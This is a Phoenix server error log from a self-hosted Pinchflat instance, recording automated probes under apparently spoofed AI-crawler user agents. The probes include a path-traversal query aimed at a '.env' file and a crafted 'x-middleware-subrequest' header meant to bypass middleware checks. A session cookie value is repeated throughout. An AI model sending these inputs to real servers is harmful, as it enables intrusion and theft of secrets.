"SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/_image", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61fs0mUwa_gYABwVB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29760.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_image", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34338}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "href=/../../../.env", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /_image (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29760.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/_image", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34338}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko); compatible; ChatGPT-User/1.0; +https://openai.com/bot", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-next (truncated) 16:49:08.761 [info] GET /%2Fdashboard 16:49:08.761 [debug] QUERY OK source="settings" db=0.0ms idle=55.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.762 [debug] QUERY OK source="settings" db=0.0ms idle=48.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.762 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.762 [error] #PID<0.29763.0> running PinchflatWeb.Endpoint (connection #PID<0.29762.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /%2Fdashboard ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%2Fdashboard (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29762.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%2Fdashboard", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34344}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29763.0>, params: %{}, path_info: ["%2Fdashboard"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/%2Fdashboard", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61fy7kEyFEpwABwVh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29762.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%2Fdashboard", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34344}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%2Fdashboard (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29762.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%2Fdashboard", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34344}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; Claude-SearchBot/1.0; +claudebot@anthropic.com)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" (truncated) 16:49:08.876 [info] GET /%2Fapi/config 16:49:08.877 [debug] QUERY OK source="settings" db=0.1ms idle=163.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.877 [debug] QUERY OK source="settings" db=0.0ms idle=141.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.877 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.877 [error] #PID<0.29765.0> running PinchflatWeb.Endpoint (connection #PID<0.29764.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /%2Fapi/config ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%2Fapi/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29764.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%2Fapi/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34360}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29765.0>, params: %{}, path_info: ["%2Fapi", "config"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/%2Fapi/config", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61gOZqPtVv7gABwWB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29764.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%2Fapi/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34360}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%2Fapi/config (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29764.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%2Fapi/config", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34360}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; Kimi-SearchBot/1.0; +https://kimi.ai/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_bod (truncated) 16:49:08.954 [info] GET /%2Fsettings 16:49:08.954 [debug] QUERY OK source="settings" db=0.0ms idle=192.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.954 [debug] QUERY OK source="settings" db=0.0ms idle=192.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:49:08.954 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 16:49:08.954 [error] #PID<0.29767.0> running PinchflatWeb.Endpoint (connection #PID<0.29766.0>, stream id 1) terminated Server: pinchflat.burns-family.net:80 (http) Request: GET /%2Fsettings ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%2Fsettings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29766.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%2Fsettings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34364}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, halted: false, host: "pinchflat.burns-family.net", method: "GET", owner: #PID<0.29767.0>, params: %{}, path_info: ["%2Fsettings"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pinchflat.burns-family.net", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 18, 0, 13}, req_cookies: %{ "_pinchflat_key" => "SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ" }, req_headers: [ {"accept", "*/*"}, {"accept-encoding", "gzip"}, {"cookie", "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ"}, {"host", "pinchflat.burns-family.net"}, {"user-agent", "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)"}, {"x-forwarded-for", "34.7.214.207"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-middleware-subrequest", "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware"}, {"x-nextjs-data", "1"}, {"x-real-ip", "34.7.214.207"} ], request_path: "/%2Fsettings", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GNz61ggywVzl6PcABwWh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29766.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%2Fsettings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34364}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; DeepSeekBot/1.0; +https://www.deepseek.com/)", "x-forwarded-for" => "34.7.214.207", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-middleware-subrequest" => "src/middleware:nowaf:src/middleware:src/middleware:src/middleware:src/middleware:middleware:middleware:nowaf:middleware:middleware:middleware:pages/_middleware", "x-nextjs-data" => "1", "x-real-ip" => "34.7.214.207" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /%2Fsettings (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.29766.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/%2Fsettings", host: "pinchflat.burns-family.net", peer: {{172, 18, 0, 13}, 34364}, bindings: %{}, sock: {{172, 18, 0, 18}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept" => "*/*", "accept-encoding" => "gzip", "cookie" => "_pinchflat_key=SFMyNTY.g3QAAAABbQAAAAtfY3NyZl90b2tlbm0AAAAYSTVNWktfZ2ZZRWV3MmN4NjliUlJHcDNZ.fpK_6o6GFASnuOipOfcICxtYvHh6ezq3R2t_ryTzcTQ", "host" => "pinchflat.burns-family.net", "user-agent" => "Mozilla/5.0 (compatible; 